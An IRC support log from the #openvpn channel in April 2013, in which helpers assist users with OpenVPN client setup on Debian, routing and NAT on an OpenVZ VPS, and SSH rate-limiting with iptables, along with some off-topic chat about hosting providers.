18:49 < pekster> We can't help you with AS here. Please go to the proper channel becuase this channel is for OpenVPN. "Access Server" is not the same thing
18:49 < awc737_away> I'm asking general questions
18:50 -!- awc737_away is now known as awc737
18:51 -!- wykydtro- is now known as wykydtron
18:51 < pekster> !basic
18:51 <@vpnHelper> "basic" is if you do not understand basic networking, you probably should not be administrating a vpn... you should understand the basics of routing / firewalls first
18:52 < pekster> http://www.whois.net/ip-address-lookup/5.5.0.1
18:52 <@vpnHelper> Title: IP Address Lookup - Whois by IP Address | Whois.net (at www.whois.net)
18:52 < awc737> you should have a !sticky for decent openvpn providers
18:52 < pekster> google.com
18:52 < pekster> Go nuts
18:53 < awc737> a lot of them look spammy
18:53 < awc737> and have hardly any reviews
18:53 < pekster> This channel is for support of the open-source (GPL) OpenVPN software project
18:53 < pekster> !provider
18:53 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
18:53 < pekster> You wouldn't ask the electric company to fix your computer just because it runs on electricity
18:54 < awc737> no but I might ask an electrician what company to use
18:54 < pekster> To fix your computer? Heh
18:54 < awc737> nvm, sorry to bother
18:54 < pekster> Most of us don't deal with providers here
18:54 < pekster> I have no need, nor do I care
18:57 <@krzee> awc737,
18:57 <@krzee> !as
18:57 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
18:57 <@krzee> try them
18:57 < awc737> k thanks
18:57 < awc737> here is an openvpn question
18:58 < awc737> I am using the command: "openvpn --config file.ovpn"
18:58 < pekster> 4th link's the charm krzee?
18:58 <@krzee> oh lol i didnt scroll up
18:58 <@krzee> so umm? maybe? prolly not.
18:58 <@krzee> lol
18:58 < awc737> but how can I use a gui client to do that
18:58 < awc737> I am in debian
18:58 < pekster> OpenVPN is a command-line application. You could write a GUI, but there isn't one provided by the upstream project
18:59 <@krzee> you're in the wrong place, sorry
18:59 -!- awc737 was kicked from #openvpn by krzee [not to be rude, but ya? wrong channel.]
18:59 -!- awc737 [~awc737@2604:180::805e:30d0] has joined #openvpn
18:59 <@krzee> whoa i used "?" and it turned into a ? in my kick msg
18:59 < awc737> you meant to kick me?
19:00 <@krzee> sure, you werent taking peksters many hints
19:00 < awc737> I was on another topic now, I thought
19:00 < awc737> what OS do you guys use?
19:00 < pekster> Many
19:00 <@krzee> OS doesnt matter, we use opensource openvpn
19:00 < pekster> !bestos
19:00 <@vpnHelper> "bestos" is the best os for openvpn is the one you are most comfortable with
19:01 < awc737> anyone use debian?
19:01 < awc737> The network manager asks me for a certificate file, but only accepts .pem
19:01 < awc737> I imagine I need to specify the .ovpn file somewhere
19:02  * krzee leaves
19:02 <@krzee> ok before i go...
19:02 <@krzee> !netman
19:02 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
19:04 <@krzee> no matter what OS you use, you will be configuring your conf file by hand with a text editor
19:05 < awc737> my .ovpn file?
19:05 < awc737> it's already created
19:06 <@krzee> did you decide that you were going to learn how to run your own server/client now?
19:06 < awc737> I just mean so I don't have to type the connection into a terminal, and leave that terminal running for the duration of my connection
19:07 < awc737> it's already working krzee
19:07 < pekster> Maybe you can point network manager to the .ovpn file, and if it already references all the files (key, cert, and ca) it might all just work, but I've found nm to make stupid decisions that didn't meet my needs
19:07 < pekster> I have lots of terminals open, so one more isn't a problem for me
19:08 -!- hazardous [~dbn@void.kassad.in] has quit [Changing host]
19:08 -!- hazardous [~dbn@openvpn/user/hazardous] has joined #openvpn
19:08 -!- mode/#openvpn [+v hazardous] by ChanServ
19:09 <@krzee> my linux/unix vpn's just run at all times
19:09 < pekster> Even when your power is out? Impressive :)
19:10 <@krzee> yep, battery backups
19:10 <@krzee> and generators and whatnot
19:10 < awc737> and you have an extra terminal window open?
19:10 <@krzee> no, because they run at all times i use --daemon
19:10 <@krzee> i would like to note that i also never ever have a gui on my servers
19:11 < pekster> Debian ships with an initscript for openvpn, as do most other distros (openvpn itself ships with a generic one in the sources)
19:11 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
19:12 < awc737> I would not want a gui on my server, this is my workstation
19:12 <+hazardous> awc aren't you running -AS
19:12 <+hazardous> you were asking in -AS at least
19:12 <@krzee> we sent him there when he declared he would rather pay than learn
19:13 <@krzee> then he realized he didnt get to pay with magic beans and decided to pretend to learn :D
19:14 < awc737> lol, yeah I'm not asking questions here really anymore
19:14 < awc737> and I just don't want to learn advanced networking
19:14 < awc737> if running openvpn on my VPS is advanced, then I will find a service
19:14 < awc737> but I think i'm like 95% there
19:14 <+hazardous> awc
19:14 <+hazardous> just install openvpn
19:14 <+hazardous> like, normal openvpn
19:14 <+hazardous> then go on AS, download the .ovpn file
19:15 <@krzee> running a vpn IS advanced networking
19:15 <+hazardous> and run openvpn with the ovpn file as an argument, problem solved
19:15 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
19:17 < awc737> thanks for all your helps
19:22 -!- awc737 is now known as awc737_away
19:29 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:58 -!- raidz is now known as raidz_away
20:15 -!- awc737_away is now known as awc737
20:15 < awc737> woohoo got it working
20:16 < awc737> with certificates, now network manager auto connects to VPN
20:17 < awc737> and my wireless icon is now a little lock... i feel l33th4x0r
20:21 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
20:22 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
20:25 < awc737> I guess I will get my networking certificate in the mail now
20:27 -!- Neal_ [neal@felix.ineal.me] has joined #openvpn
20:32 -!- awc737 is now known as awc737_away
21:01 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 252 seconds]
21:04 -!- mete [~mete@mete.shell.la] has joined #openvpn
21:10 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
21:45 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
22:23 -!- master_o1_master [~master_of@p4FF24E66.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
22:27 -!- master_of_master [~master_of@p4FF24BB6.dip0.t-ipconnect.de] has joined #openvpn
22:40 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
22:42 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Client Quit]
23:23 -!- xbanux1 [~xbanux@115.254.75.113] has joined #openvpn
--- Day changed Thu Apr 25 2013
00:02 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Quit: Bye.]
00:06 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
00:24 < EugeneKay> !fail2ban
00:24 <@vpnHelper> "fail2ban" is in linux you can replace fail2ban without the background process with something like: iptables -A INPUT -m tcp -p tcp --dport 22 -m hashlimit --hashlimit-name ssh --hashlimit-upto 5/minute --hashlimit-mode srcip --hashlimit-srcmask 24 -j ACCEPT
00:46 -!- brute11k [~brute@89.249.235.152] has joined #openvpn
00:48 -!- brute11k1 [~brute@89.249.235.152] has quit [Ping timeout: 252 seconds]
00:53 -!- brute11k [~brute@89.249.235.152] has quit [Ping timeout: 256 seconds]
00:53 -!- brute11k [~brute@89.249.235.152] has joined #openvpn
00:55 -!- brute11k1 [~brute@89.249.235.152] has joined #openvpn
00:56 -!- aruntomar [~Thunderbi@49.248.157.97] has joined #openvpn
00:58 -!- brute11k [~brute@89.249.235.152] has quit [Ping timeout: 252 seconds]
00:58 < jzaw> EugeneKay, i use exactly something similar (is that an oxymoron? ;) )  for to protect my ssh port 22
00:59 < jzaw> that said fail2ban does have its uses
01:01 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:04 < jzaw> $IPTABLES -A SSH_CHECK -m recent --set --name SSH
01:04 < jzaw> $IPTABLES -A SSH_CHECK -m recent --update --seconds $SECONDS --hitcount $HITS --name SSH -j DROP
01:05 < jzaw> might have to look at that hashlimit version
01:06 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:06 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
01:06 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:08 < pekster> hashlimit is cleaner, unless you use an ipset to drop everything from offending hosts (say, early on in the raw table)
01:09 < jzaw> ta pekster :)
01:12 < jzaw> pekster, slightly off topic (maybe it was on #openwrt i read your chat)re memory and dual stack + conntrack
01:13 < jzaw> would ipv6 really make that much difference?
01:13 < jzaw> surely the number of hosts wouldnt change
01:13 < jzaw> and connections to them would be (mostly) either v4 or v6 ?
01:14 < jzaw> but not both
01:14 < pekster> Probably. 128 > 32, so math says ipv6 takes more RAM
01:14 < jzaw> ah yes
01:14 < jzaw> there is that
01:14 < jzaw> you see ... its always good to think and discuss
01:15 < jzaw> i suppose this early on in ipv6 deployment small [home] routers will suffice
01:16 < pekster> 15 years is early on?
01:24 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
01:27 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 258 seconds]
01:39 -!- aruntomar [~Thunderbi@49.248.157.97] has quit [Ping timeout: 264 seconds]
01:42 -!- aruntomar [~Thunderbi@49.248.155.26] has joined #openvpn
01:48 < jzaw> pekster, hehe *deployment*
01:48 < jzaw> ive had ipv6 natively from my isp for 10 years
01:49 < jzaw> BT ... nope ... virgin ... nope ... Be* .... starting .... other UK isps ... "err what is ipv6?"
02:00 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has joined #openvpn
02:17 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has quit [Read error: Connection reset by peer]
02:19 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
02:42 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:46 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
02:55 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
02:59 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:11 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
03:24 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:30 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:30 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
03:30 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:31 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
03:32 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
03:35 -!- zeshoem [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
03:41 -!- aruntomar [~Thunderbi@49.248.155.26] has quit [Quit: aruntomar]
03:49 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:59 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
04:01 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
04:34 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
04:36 -!- dazo_afk is now known as dazo
04:36 < zapotah> is there an openvpn way (wouldnt want to do a cron job) to, instead of key-renegotiation (which by default happens every hour judging by logs), do a new dns lookup and reconnect the tunnel?
04:37 < zapotah> because the dns name is dynamic and might change from one cluster endpoint to another (in the case of a failover)
04:37 < zapotah> and no, i cant make a vrrp, hsrp, carp interface because the interfaces addresses are allocated by dhcp
04:51 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 240 seconds]
04:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
04:54 -!- [fred] [fred@konfuzi.us] has joined #openvpn
04:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
05:05 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
05:06 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Client Quit]
05:25 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:25 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:25 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
05:25 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
05:28 -!- JSharpe [~JSharpe@ns264658.ovh.net] has joined #openvpn
05:59 -!- Devastator- [~devas@177.99.154.107] has quit [Changing host]
05:59 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
05:59 -!- Devastator- is now known as Devastator
05:59 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
06:00 -!- mitsutaka [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:00 -!- mitsutaka [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Excess Flood]
06:03 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
06:04 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:16 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
06:21 -!- phunyguy_ [~quassel@h184-60-182-132.kgldga.dsl.dynamic.tds.net] has joined #openvpn
06:21 -!- cherwin_ [~cherwin@robin.teqnix.nl] has joined #openvpn
06:21 -!- havoc__ [~havoc@neptune.chaillet.net] has joined #openvpn
06:23 -!- mjixx_ [~markus@80.67.14.31] has joined #openvpn
06:23 -!- qmr_ [~qmr@50.116.18.140] has joined #openvpn
06:23 -!- frank-- [1000@unaffiliated/thumbs] has joined #openvpn
06:23 -!- pyrobisq1t [~pyrobisqi@208.68.39.44] has joined #openvpn
06:24 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
06:24 -!- havoc [~havoc@neptune.chaillet.net] has quit [Disconnected by services]
06:24 -!- havoc__ is now known as havoc
06:29 -!- Netsplit *.net <-> *.split quits: Wintereise, qmr, cherwin, mjixx, phunyguy, pyrobisqit, JPeterson, +thumbs
06:29 -!- cherwin_ is now known as cherwin
06:29 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
06:29 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
06:29 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
06:39 -!- brute11k [~brute@89.249.235.152] has joined #openvpn
06:41 -!- brute11k1 [~brute@89.249.235.152] has quit [Ping timeout: 255 seconds]
06:43 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Ping timeout: 264 seconds]
06:44 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
06:44 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:44 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
06:44 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
06:50 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
06:52 -!- pyrobisq1t [~pyrobisqi@208.68.39.44] has quit [Quit: leaving]
06:55 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:15 -!- nonuby [~nonuby@unaffiliated/nonuby] has joined #openvpn
07:18 -!- frank-- is now known as thumbs
07:23 -!- michaelhart [~mdh@209.49.123.10] has joined #openvpn
07:23 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
07:28 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 258 seconds]
07:30 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
08:19 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
08:24 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has quit [Read error: Connection reset by peer]
08:25 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
08:25 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
08:25 -!- mode/#openvpn [+o dazo] by ChanServ
08:30 < BenLue> How can i remove tun1 Error? http://paste.debian.net/216/
08:35 < Dropje> BenLue:
08:35 < Dropje> !configs
08:35 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
08:36 < BenLue> Dropje: client.conf: http://paste.debian.net/220/ Server.conf: http://paste.debian.net/221/
08:39 < Dropje> push "route 127.0.0.2 255.255.255.0"
08:39 < Dropje> ?
08:39 < BenLue> i need this to ping my server
08:39 < Dropje> !rfc1918
08:40 < Dropje> http://tools.ietf.org/html/rfc3330
08:40 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
08:40 <@vpnHelper> Title: RFC 3330 - I-D Tag: (at tools.ietf.org)
08:41 < BenLue> i need change to C-Class?
08:41 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
08:41 < Dropje> BenLue: i'm not sure if openvpn pushes comp-lzo to the client
08:41 < Dropje> if you specify compression.. either remove it from the server config or specify it in the client too
08:42 < Dropje> you should *not* be pushing loopback addresses to clients
08:42 < Dropje> will never work
08:43 < BenLue> without push route ping to my server wasnt working
08:43 < Dropje> then it's not working at all because you're probably pinging to your clients loopback address
08:44 < cherwin> God dayumn
08:44 < cherwin> The daily wtf is that way ->
08:45 < BenLue> route: SIOCADDRT: File exists?
08:45 < Dropje> after doing what?
08:46 < BenLue> i have removed push route and comp-lzo
08:46 < BenLue> than restart my client
08:46 < BenLue> and my Server
08:47 < Dropje> since you're not using iroute i'm wondering what route 192.168.1.0 255.255.255.0 is doing tehre
08:47 < Dropje> in your server.conf
08:48 < BenLue> pekster means i dount need ccd for clients
08:48 < Dropje> ?
08:49 < BenLue> thats why im not using iroute
08:50 < Dropje> so what is that route statement doing in your server config?
08:50 < Dropje> you can also remove the port directive from the client config
08:52 < BenLue> route statement allows me ping into my Homenet and Clients
08:52 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
08:53 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
08:53 < Dropje> no it doesnt.. you could push a client's subnet using iroute in which case openvpn needs to update its internal routing table.. that's what the route does
08:54 < Dropje> not applicable as you don't use iroute
08:54 < Dropje> at least in the config you've posted before you don't
08:59 < BenLue> ehh i dount understand the World (o; Im trying this Scenarion: http://wiki.openvpn.eu/index.php/Config_ServerNET_ClientNET Can you check if the Server.conf and Client.conf correct?
08:59 <@vpnHelper> Title: Config ServerNET ClientNET – OpenVPN Wiki (at wiki.openvpn.eu)
08:59 < Dropje> BenLue: the route directive as specified will add a route to your routing table saying: traffic destined for 192.168.1.0/24 needs to go through the tun adapter
09:00 < BenLue> ok
09:00 < Dropje> do not follow shitty howto's.. ;)
09:00 < Dropje> !howto
09:00 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
09:03 < Dropje> BenLue: remove the route directive from your server.conf, also remove the push routes (all of em you still have), remove push "redirect-gateway def1" (for now) remove port directive from client.conf
09:03 < Dropje> BenLue: first establish a tunnel, *then* configure routes
09:03 < Dropje> do not follow some shitty howto online
09:04 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 276 seconds]
09:04 -!- JSharpe [~JSharpe@ns264658.ovh.net] has quit [Read error: Connection reset by peer]
09:04 -!- JSharpe_ [~JSharpe@ns264658.ovh.net] has joined #openvpn
09:05 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:16 -!- phunyguy_ [~quassel@h184-60-182-132.kgldga.dsl.dynamic.tds.net] has quit [Changing host]
09:16 -!- phunyguy_ [~quassel@unaffiliated/phunyguy] has joined #openvpn
09:16 -!- phunyguy_ is now known as phunyguy
09:17 < BenLue> Dropje i test it with static key for up: Error write to TUN/TAP : Invalid argument (code=22). Whats happent
09:17 < BenLue> network config Problem?
09:25 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
09:45 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:54 <@dazo> BenLue: is tun/tap driver loaded?  started openvpn as root?  any security mechanisms (like selinux, apparmor, etc) blocking access?
09:57 -!- nonuby [~nonuby@unaffiliated/nonuby] has quit [Remote host closed the connection]
10:09 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
10:09 -!- michaelhart [~mdh@209.49.123.10] has quit [Quit: michaelhart]
10:13 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:17 -!- raidz_away is now known as raidz
10:19 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
10:20 -!- awc737_away is now known as awc737
10:21 -!- zeshoem [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 256 seconds]
10:22 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
10:23 -!- zeshoem [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
10:27 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:40 -!- erry [erry@freenode/staff/erry] has quit [Read error: Connection reset by peer]
10:41 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
10:42 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
10:42 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
10:43 -!- erry_ is now known as erry
10:48 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:54 -!- jthunder [~jthunder@174.3.126.51] has quit [Ping timeout: 258 seconds]
10:55 -!- michaelhart [~mdh@204-16-154-194-static.ipnetworksinc.net] has joined #openvpn
10:58 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
11:00 -!- awc737 is now known as awc737_away
11:00 -!- awc737_away is now known as awc737
11:20 -!- ChauffeR [squirrel@2001:470:1f08:a2a::1337] has left #openvpn ["WeeChat 0.4.0"]
11:32 -!- jthunder [~jthunder@d75-152-118-239.abhsia.telus.net] has joined #openvpn
11:38 -!- zpmorgan [~zach@nl4x.mullvad.net] has quit [Ping timeout: 264 seconds]
11:47 < BenLue> !redirect
11:47 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
11:47 <@vpnHelper> http://ircpimps.org/redirect.png
11:54 -!- zpmorgan [~zach@208-104-132-251.brvd.dsl.dyn.comporium.net] has joined #openvpn
11:55 -!- master_of_master [~master_of@p4FF24BB6.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
11:56 -!- master_of_master [~master_of@p4FF24BB6.dip0.t-ipconnect.de] has joined #openvpn
11:58 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:02 < BenLue> dazo i use http://ircpimps.org/redirect.png NAT is enabled but redirect isnt working anyone idea?
12:03 < rob0> yup, that's the idea. Keep working through the flowchart's steps.
12:03 <@dazo> BenLue: what is not working?  are routes set up properly?  Have you enabled IP forwarding?  Do you allow forwarding from VPN to your Internet network device?
12:03 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 272 seconds]
12:04 <@dazo> BenLue: basically, exactly the same points that .png points at
12:08 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
12:14 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
12:17 < BenLue> dazo shure. I have configure some things: iptables -t nat -F POSTROUTING echo 1 > /proc/sys/net/ipv4/ip_forward and iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j SNAT --to-source EXT_IP
12:18 <@dazo> dazo: what about: iptables' filter FORWARD chain?
12:19 < BenLue> yes btw VPS
12:19 < pekster> !learn rfc1918 as [1918]
12:19 < BenLue> MASQUERADE isnt working
12:19 <@vpnHelper> Joo got it.
12:19 < rob0> aha, is it openvz?
12:19 < BenLue> yes
12:19 < rob0> !openvz
12:19 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg Xen.
12:20 <@dazo> !forget openvz 2
12:20 <@vpnHelper> Joo got it.
12:20 <@dazo> !learn openvz  It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
12:20 <@vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value.
12:20 <@dazo> !learn openvz  as It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
12:20 <@vpnHelper> Joo got it.
12:20 < pekster> +1
12:20 < BenLue> -.-
12:21 <@dazo> BenLue: openvz is more like a container than virtualisation ... to say it very simple
12:22 <@dazo> so there are some limitations you can easily hit when needing to use more advanced features, such as going deeper down in the networking stack
12:23 <@dazo> (openvz is most likely just perfect for hosting a web service, but VPNs requires access to the deeper network layers)
12:23 < BenLue> but thats my solution atm min 1month
12:24 <@dazo> well, talk to your VPS then ... they should be able to help you, if they want to
12:24 <@dazo> otherwise, I can recommend  virtualmaster.com .... cheap and fairly reliable services
12:25 < pekster> AWS also has a free tier that lets you run a 24/7 t1.micro EC2 instance for a full year for free, although you need to stay inside the tier limits. It's a metered service if you continue after your first year, or exceed tier limits
12:26 <@dazo> what's those limits?
12:26 < pekster> https://aws.amazon.com/free/
12:26 < BenLue> that was my Problem i need unmetered
12:26 <@vpnHelper> Title: Try Cloud Computing Free with AWS Free Tier (at aws.amazon.com)
12:26 < pekster> Bandwidth is the only one that really matters from a VPN perspective
12:27 < BenLue> An AWS account requires a valid credit card.
12:27 < pekster> Right
12:27 < BenLue> Not Free?
12:28 < pekster> That page says it is free within the described limits. Reading it would explain that
12:28 <@dazo> it's not free if you exceed the limits, so they want to be sure they can get paid if you do
12:28 <@dazo> and it's a way to avoid abuse of their services
12:28 <@dazo> or rather, limit the abuse
12:28 < BenLue> ahh kk
12:29 < BenLue> i see https://aws.amazon.com/free/terms/
12:29 <@vpnHelper> Title: AWS Free Usage Tier Terms (at aws.amazon.com)
12:30 < pekster> It's decent service, but you need to be sure you understand the limits if you want to play in the free side. It's a good way to get your feet wet with EC2 if you've been curious
12:36 < EugeneKay> I like Linode. $20/mo.
12:36 <@dazo> Mine virtualmaster box costs me $8/mo
12:38 <@dazo> [OT] .... amazing and "scary":  http://www.chron.com/news/article/Conroe-company-still-using-computers-museums-want-4459714.php
12:40 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:41 < EugeneKay> Old news
12:42 <@dazo> EugeneKay: it takes times before news travels across the world :-P
12:42 <@dazo> s/times/time/
12:42 -!- michaelhart [~mdh@204-16-154-194-static.ipnetworksinc.net] has quit [Quit: michaelhart]
12:42 < EugeneKay> This one has been making the rounds since last week
12:54 -!- awc737 is now known as awc737_away
12:55 < pekster> dazo: You see this year's 4/1 RFCs? With FTL packet-delivery, that can be fixed
12:56 <@dazo> pekster: I've not seen that one ... what's the rfc number?
12:56 -!- BenLue [~BenLue@unaffiliated/benlue] has quit []
12:57 -!- BenLue [~BenLue@69.197.175.44] has joined #openvpn
12:57 -!- awc737_away is now known as awc737
12:58 < pekster> 6921, and then the 2nd one this year was 6919, "Further Key Words for Use in RFCs to Indicate Requirment Levles"
12:58  * pekster likes "MUST (BUT WE KNOW YOU WON'T)" personally
12:59 <@dazo> "MAY WISH TO"
12:59 < BenLue> juhuuuu traffic redirect works
12:59 < BenLue> put i cant ping client to client (o;
13:03 -!- S1lv3R [~BenLue@178-83-36-152.dynamic.hispeed.ch] has joined #openvpn
13:07 -!- BenLue [~BenLue@69.197.175.44] has quit [Ping timeout: 276 seconds]
13:14 -!- jthunder [~jthunder@d75-152-118-239.abhsia.telus.net] has quit [Ping timeout: 272 seconds]
13:23 -!- michaelhart [~mdh@204-16-154-194-static.ipnetworksinc.net] has joined #openvpn
13:27 -!- thalweg [~quassel@198.211.102.196] has quit [Remote host closed the connection]
13:27 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
13:40 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
13:40 -!- michaelhart [~mdh@204-16-154-194-static.ipnetworksinc.net] has quit [Quit: michaelhart]
